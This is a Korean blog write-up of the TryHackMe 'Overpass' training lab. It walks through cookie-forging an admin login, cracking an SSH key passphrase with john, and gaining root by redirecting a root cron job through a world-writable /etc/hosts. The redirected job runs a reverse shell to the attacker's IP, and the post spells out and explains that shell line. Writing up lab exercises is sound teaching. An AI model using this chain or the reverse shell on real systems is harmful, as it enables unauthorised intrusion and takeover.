TryHackMe의 문제 Overpass 입니다.
이전 RootMe 또는 Basic Pentesting 처럼 모의침투 문제라고 생각하시면 됩니다.
오늘 침투할 IP는 10.10.230.168 입니다.
nmap으로 어떤 포트와 서비스가 활성화되어 있는지 확인해 줍시다.
ssh와 http가 활성화되어 있습니다. http가 활성화 되어 있으면 웹 서비스를 제공하고 있다는 뜻입니다.
ssh로 침투하기 위해선 일단 사용자 계정과 password가 필요하니,
현재 접근이 가능한 웹 사이트로 접속해 주도록 합시다.
웹사이트 메인 페이지입니다.
여러군데를 돌아다녀보니.. Overpass라는 툴을 개발중인 것 같습니다. 여러 사이트에서 패스워드를 안전하게 관리할 수 있는? 그런 프로그램인 것 같습니다.
/downloads 페이지입니다. 여기선 이들이 개발한 프로그램 소스코드까지 다운받을 수 있습니다.
프로그램 소스코드 일부분입니다. 음...
rot47 알고리즘을 쓰는건가요?
주석에 적힌 URL도 접속해 봤습니다.
rot47에 대한 예시.. 이들이 쓰는 알고리즘은 정말로 rot47인 것일까요? 일단 기억해 둡시다.
대충 눈에 보이는 페이지는 탐색해 봤는데 특별한 건 찾지 못했습니다. 툴의 도움을 받아 봅시다.
gobuster 툴을 사용해서 웹사이트에 숨겨진 페이지가 있는지 탐색합니다.
/admin 페이지를 발견했어요. 중요하다는 냄새가 솔솔 납니다.
오. 관리자 로그인 폼입니다.
SQLi 공격을 시도해 봤는데, SQLi는 막혀 있었습니다.
인증과정이 어떻게 이루어지는지 알기 위해 페이지 소스코드를 살펴보겠습니다.
개발자 도구에서 login.js 코드를 발견했습니다. 맨 밑에 부분을 보시면...
쿠키의 SessionToken 값을 status0rCookie로 설정한 후 /admin 페이지를 로드하고 있는데요..
지금 쿠키를 보시면,
어떠한 쿠키도 없습니다. 그렇다면 한번 위 코드에 나와있는 대로 새롭게 쿠키를 추가해 봅시다.
오른쪽 위 + 버튼을 눌러 추가할 수 있습니다.
이렇게 추가하고 새로고침 해줍니다.
오! ssh 개인키가 등장했습니다. 누구의 개인키인고 하니,
위의 편지를 읽어보면 "james"를 위한 키인 것 같습니다.
그렇다면 이건 james 계정의 ssh 개인키인 것일까요?
이 개인키를 복사해서 kali에 저장합시다.
개인키를 저의 kali 시스템에 "id_rsa" 라는 이름으로 저장하였고, 개인키로 사용될 수 있도록 권한을 600으로 변경했습니다. ssh개인키를 사용하기 위해선 반드시 해당 권한이어야 합니다.
이제 접속을 시도해 봅시다. 계정명은 아마도 james 이겠죠?
그러나 개인키 비밀번호가 설정되어 있습니다. 이래선 개인키를 써먹을 수 없습니다.
비밀번호를 크랙해 봅시다.
ssh2john, john the ripper 툴을 이용합니다.
먼저 ssh2john 프로그램으로 개인키를 john이 크랙할 수 있도록 가공해 줍니다.
그리고 john으로 크랙해 줍시다. 저는 사전파일로 rockyou.txt를 사용하였습니다.
주황색으로 모자이크된 부분이 크랙된 개인키 패스워드입니다.
저 패스워드로 개인키를 이용할 수 있습니다.
접속 성공.
접속하자마자 홈디렉터리에 있던 todo.txt 파일입니다.
james가 자신의 비밀번호를 overpass로 암호화했을 수 있다는 내용이 담겨 있습니다.
그리고 .overpass 라는 숨김파일엔, 아마도 암호화된 것으로 보이는 텍스트가 있습니다.
아까 overpass 프로그램은 rot47 알고리즘을 쓰는 것인가? 라고 생각했었는데,
저 텍스트를 rot47로 복호화해 봅시다.
복호화했습니다. pass 뒤에 적힌 게 진짜 password 일까요?
개인키 없이 ssh 접속을 시도해본 결과, rot47로 해독된 패스워드가 맞았습니다.
이렇게 james의 진짜 password를 획득할 수 있었습니다.
이제 권한 상승을 해야 합니다. 저는 여러가지를 찾던 중 crontab에서 수상한 부분을 발견했습니다.
맨 아래부분에서, 매 분마다 root권한으로 buildscript.sh가 실행되고 그 출력이 bash로 전달되고 있습니다.
저건 무슨 프로그램이길래 매분마다 실행되는 걸까요?
만약 저 프로그램을 우리가 만든 임의의 프로그램으로 바꿀 수 있다면 root권한을 획득할 수 있지 않을까요?
하지만 해당 파일을 찾을 수는 없었습니다. 권한이 없는 곳에 존재하는 파일인 걸까요?
그런데 overpass.thm 이라는 디렉터리는 경로가 좀 이상합니다. 절대경로도 아니고, root계정의 홈디렉터리부터 시작하는 상대경로인가? 싶었습니다.
한참 머리를 싸맨 결과 충격적이게도.. overpass.thm은 호스트 이름이었습니다.
/etc/hosts 파일은 호스트(도메인)명과 IP주소를 매핑하는 파일입니다. overpass.thm은 localhost 주소를 의미하는 것이었습니다.
단, 여기서 특이한 점이 있습니다.
바로 이 hosts 파일을 누구나 수정할 수 있다는 것입니다. 그렇다면 overpass.thm이 가리키는 주소를 변조할 수 있습니다.
기존엔 localhost를 가리키고 있었으니, 다른 호스트를 가리키도록 변조할 수 있다는 것입니다. 그것이 저의 주소가 될 수도 있고요.
overpass.thm/downloads/src/buildscript.sh 이것이 기존 주소라면,
공격자 컴퓨터/downloads/src/buildscript.sh 이렇게 바꿀 수 있습니다.
이러면 방법이 생겼습니다. 제 kali의 같은 경로에 buildscript.sh 파일을 새로 만들겠습니다.
그리고 이 파일은 리버스 쉘을 여는 파일이 될 것입니다.
downloads, src 디렉터리를 만듭니다.
그리고 그 안에 buildscript.sh 프로그램을 만듭니다.
리버스 쉘 코드입니다. 포트번호는 마음대로 하셔도 됩니다. 전 33333 으로 하겠습니다.
bash -i : 대화형 쉘 열기
>& : 표준출력, 표준입력 모두 보내기
/dev/tcp/10.9.79.122/33333 : tcp 10.9.79.122 33333포트로 보내기
0>&1 : 입력과 출력이 연결됨, 따라서 33333포트에서 수신중인 공격자가 상대가 연 쉘에 대한 입력을 할 수 있게됨
그리고 저장합니다.
chmod로 실행권한까지 추가해 줍시다.
그리고 우리의 IP만으로 상대 시스템이 접속할 수 있도록 python SimpleHTTPServer 를 사용할 것입니다.
이렇게 80번 포트로 http를 열어줍니다.
기본 포트인 80번을 사용해야, 별도의 포트번호 입력 없이 연결될 수 있습니다.
일반적인 경우엔 다른 포트를 이용해 열어도 되지만, 현재 상대방 crontab의 명령어엔 포트번호를 따로 지정하지 않고 있죠. 따라서 무조건 80번 기본 포트로 열어야 합니다.
이제 상대방은 ip만으로 저의 시스템에 접속할 수 있게 되었습니다.
접속할 수 있게 되었으니 crontab 명령어를 따라 리버스쉘 파일도 실행할 것이고, 그렇게 쉘을 열어주겠죠?
우리는 netcat으로 포트를 열어, 쉘이 실행될 수 있도록 수신대기를 해야 합니다.
아까 buildscript.sh 파일을 만들 때, 33333 포트로 접속하도록 코드를 짰었죠?
nc를 이용해서 33333포트를 열고 수신대기합니다.
그리고 마지막으로, 상대방 시스템의 /etc/hosts 파일을 수정합니다.
overpass.thm 호스트가 우리의 IP를 가리키도록 말이죠. (IP 확인하는 방법은 아시죠?)
상대방은 예약된 crontab 명령을 통해 root권한으로 우리의 시스템에 있는 리버스 쉘 프로그램을 실행할 것이고, 우리는 상대방 시스템의 root권한 쉘을 얻게 될 것입니다.
성공했습니다! 완벽한 root권한입니다. 이렇게 문제를 해결할 수 있었습니다.
정리하자면, 웹 사이트 /admin페이지를 발견하고 쿠키조작을 통해 관리자로 로그인 하였고
거기서 획득한 일반계정 ssh개인키를 크랙하여 시스템에 침투하였고
crontab에서 root권한으로 작업이 반복 실행되는 것을 확인하였고
hosts파일 변조를 통해 작업의 경로를 조작하였습니다.
그리고 http 포트를 열고, 상대방이 리버스쉘을 실행하도록 하여 최종 root권한을 획득할 수 있었습니다.
'Hacking > [모의침투]TryHackMe' 카테고리의 다른 글
TryHackMe[OhSINT] (0) | 2023.06.01 |
---|---|
TryHackMe [Basic Pentesting] (0) | 2023.05.25 |
TryHackMe [RootMe] (0) | 2023.05.23 |